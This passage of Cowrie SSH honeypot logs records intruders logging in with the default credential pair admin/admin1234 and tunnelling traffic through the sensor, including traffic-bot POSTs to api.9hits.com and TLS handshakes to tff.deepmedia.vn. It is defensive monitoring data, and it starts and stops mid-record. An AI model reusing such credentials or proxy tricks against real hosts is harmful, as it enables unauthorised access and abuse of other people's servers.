\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd7\\x02\\x8c\\xf4\\xf7K\\xa7\\xb5^=)\\xf0\\xf5\\xb3\\xfa\\xe16\\xe4\\xe9\\x8bU\\xa0\\x01\\xe7lq\\x93\\xe8C\\xf9\\x8be\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:51.489109Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:51.757255Z","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:51.814254Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xf7^p~\\xdc\\xa0y\\x93\\xb0\\xe2\\xd1\\xc3\\xea\\x90\\x9b\\xc2\\n\\x90\\xaa\\xe5\\x14\\xbd\\xfc\\xcas\\x8b\\x8bW\\x8ar\\x1e *\\x0e\\xd0B\\x11^\\xba\\x9crp\\xa2Yur\\xddT\\xfa\\r\\xbep;\\x080\\xf0\\x17\\xc341Jn\\nj\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 `\\x8c\\xb0\\xa0<\\xc5\\xc3\\xd6Y\\x83#\\xfb\\xf1\\x82tl\\xf9\\xb8\\xe7L\\xe3\\xec\\xa0\\x7f\\x1b2\\xe9\\xf9\\x84\\xd8$\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xf7^p~\\xdc\\xa0y\\x93\\xb0\\xe2\\xd1\\xc3\\xea\\x90\\x9b\\xc2\\n\\x90\\xaa\\xe5\\x14\\xbd\\xfc\\xcas\\x8b\\x8bW\\x8ar\\x1e *\\x0e\\xd0B\\x11^\\xba\\x9crp\\xa2Yur\\xddT\\xfa\\r\\xbep;\\x080\\xf0\\x17\\xc341Jn\\nj\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 `\\x8c\\xb0\\xa0<\\xc5\\xc3\\xd6Y\\x83#\\xfb\\xf1\\x82tl\\xf9\\xb8\\xe7L\\xe3\\xec\\xa0\\x7f\\x1b2\\xe9\\xf9\\x84\\xd8$\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:51.817583Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:53.417738Z","src_ip":"23.175.50.52","session":"9321e06adbab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52769,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de7e401c17f","protocol":"ssh","message":"New connection: 123.27.168.40:52769 (10.17.0.5:22) [session: 4de7e401c17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:59.515142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:59.520240Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:59.890918Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:01.114917Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:01.502022Z","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:01.687255Z","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:01.739117Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; SM-T835) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=XyR%2BcUdyY0B3KEAqJHthTw%3D%3DXrjf8Byu1kdDsBohxbg%2BjrcMpDbI42TSsN01ZdhQIQk22FmgbclA2hTg4zf6WENZfyxU3CfgxvREtC1FRQ08w4X7JeEXFmh2YwCinxfr%2BXu%2FnOcfKgsmJ78JMryiUoUAFVFHA7ypuzAuNYZAIBEQBm0mYMdvsSM5GhVCwFc%2FZOOYIbivB4mmsvEprCVTxV1P%2FKXCGD%2BpHDyrBm42LTfoUQspImavxKCGyHW2c2TjRLOZ4wLTxYiz4O92cQrxR6pSHgn6XFlrLcEAkahcyzhMDRBUbYQAnG9o6U503uVlmC%2FJWPVAbU2bYoHzCPS3u0vHF3uOP1Hjas3E9oKh1CyNarzR%2FbcBu9E22qV%2BlOTPLNRhfMuwcpM3mQGazqB2f99pIxec8%2BzZydnlWsCg0%2B8GvNr1%2Bhi5RyrsPJ2FvcArfv5hPPPO0h6RKKTuH3Jv5lETQGjHdvvbhZm3RpXOKQK54KnY6u9ixV%2BMzQehJSE5AyZZIbIsy0ahMXVHwniJVtFJyE4NFJuUXWtQGTriARo7E2FVocX%2FVpWLz3PUI%2BAxbDpVMJT%2FPh8TlxzBNom7%2FWzODF2LhBmPbHA07Ij7%2FORe5HidtEGtv1pom9AJZCG%2BgPl9ATZohwgTqhDFUDqKatXNIxsQrsK4gsVRzw%2BCUlP0Po7sO13eHEi5WwpJYil6sdx29OED27hIaRi5EmqD5iEL3Su2A0l0Rg4su%2BfvMH4ghS2yXT8RLcsS5PHphKqmBst%2F9xLRsBTFyfMZn15n%2Bi7dogb9qiow47fTAio00FjqAwynvCOuBCZ1OPKIja1xqPa7LYr4XEBjda5ULTdP6rryi7JgavGCwKJfH8KvE9IFvviJlYSxIzVSR4XZqWDgQqxTBq2OsbaRtqgo8PRZJIMalj1aYAnp1azMI%2Fcu2kxgS8XRQjanZYQLntomKK2muAEV%2BS3Ij4RYTnKGAa1iUa3qyrjWKb0OZefiBd0ji%2BgWLAm1obrYPXtuc8vDTJAM4U%2Fj4hZyJ%2BkinGOg7BhGtMinhHVnGHY0Li0Z%2BY8o7lXaKqrsR9zYM2euZcSNf4zy7o0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1; SM-T835) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=XyR%2BcUdyY0B3KEAqJHthTw%3D%3DXrjf8Byu1kdDsBohxbg%2BjrcMpDbI42TSsN01ZdhQIQk22FmgbclA2hTg4zf6WENZfyxU3CfgxvREtC1FRQ08w4X7JeEXFmh2YwCinxfr%2BXu%2FnOcfKgsmJ78JMryiUoUAFVFHA7ypuzAuNYZAIBEQBm0mYMdvsSM5GhVCwFc%2FZOOYIbivB4mmsvEprCVTxV1P%2FKXCGD%2BpHDyrBm42LTfoUQspImavxKCGyHW2c2TjRLOZ4wLTxYiz4O92cQrxR6pSHgn6XFlrLcEAkahcyzhMDRBUbYQAnG9o6U503uVlmC%2FJWPVAbU2bYoHzCPS3u0vHF3uOP1Hjas3E9oKh1CyNarzR%2FbcBu9E22qV%2BlOTPLNRhfMuwcpM3mQGazqB2f99pIxec8%2BzZydnlWsCg0%2B8GvNr1%2Bhi5RyrsPJ2FvcArfv5hPPPO0h6RKKTuH3Jv5lETQGjHdvvbhZm3RpXOKQK54KnY6u9ixV%2BMzQehJSE5AyZZIbIsy0ahMXVHwniJVtFJyE4NFJuUXWtQGTriARo7E2FVocX%2FVpWLz3PUI%2BAxbDpVMJT%2FPh8TlxzBNom7%2FWzODF2LhBmPbHA07Ij7%2FORe5HidtEGtv1pom9AJZCG%2BgPl9ATZohwgTqhDFUDqKatXNIxsQrsK4gsVRzw%2BCUlP0Po7sO13eHEi5WwpJYil6sdx29OED27hIaRi5EmqD5iEL3Su2A0l0Rg4su%2BfvMH4ghS2yXT8RLcsS5PHphKqmBst%2F9xLRsBTFyfMZn15n%2Bi7dogb9qiow47fTAio00FjqAwynvCOuBCZ1OPKIja1xqPa7LYr4XEBjda5ULTdP6rryi7JgavGCwKJfH8KvE9IFvviJlYSxIzVSR4XZqWDgQqxTBq2OsbaRtqgo8PRZJIMalj1aYAnp1azMI%2Fcu2kxgS8XRQjanZYQLntomKK2muAEV%2BS3Ij4RYTnKGAa1iUa3qyrjWKb0OZefiBd0ji%2BgWLAm1obrYPXtuc8vDTJAM4U%2Fj4hZyJ%2BkinGOg7BhGtMinhHVnGHY0Li0Z%2BY8o7lXaKqrsR9zYM2euZcSNf4zy7o0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:01.742629Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:01.968790Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b<\\xb5?\\xea+\\x00\\xed\\xb17\\xe5\\xf8\\xce\\x98\\x0e\\xe6\\x07\\xb6\\xefG55\\xc4\\xcb\\xdfC@\\xc20\\xd1Y\\xeb N)\\x85q\\x94\\xdar\\x15\\xd1\\xeb\\x19\\x1a\\x13\\x9b\\xfc\\xb4\\x07\\xabgo\\x91~\\xe5\\xe8(\\xd0->\\x11\\x01\\xcb{\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 5\\x0c\\xdeh\\x99\\xad\\xd1\\x8b\\xbat\\xf9\\x90\\x19c&\\xf9\\xbc\\x8c\\xddB*m\\x19\\xfcI[C\\x12\\xf4P\\x03{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b<\\xb5?\\xea+\\x00\\xed\\xb17\\xe5\\xf8\\xce\\x98\\x0e\\xe6\\x07\\xb6\\xefG55\\xc4\\xcb\\xdfC@\\xc20\\xd1Y\\xeb N)\\x85q\\x94\\xdar\\x15\\xd1\\xeb\\x19\\x1a\\x13\\x9b\\xfc\\xb4\\x07\\xabgo\\x91~\\xe5\\xe8(\\xd0->\\x11\\x01\\xcb{\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 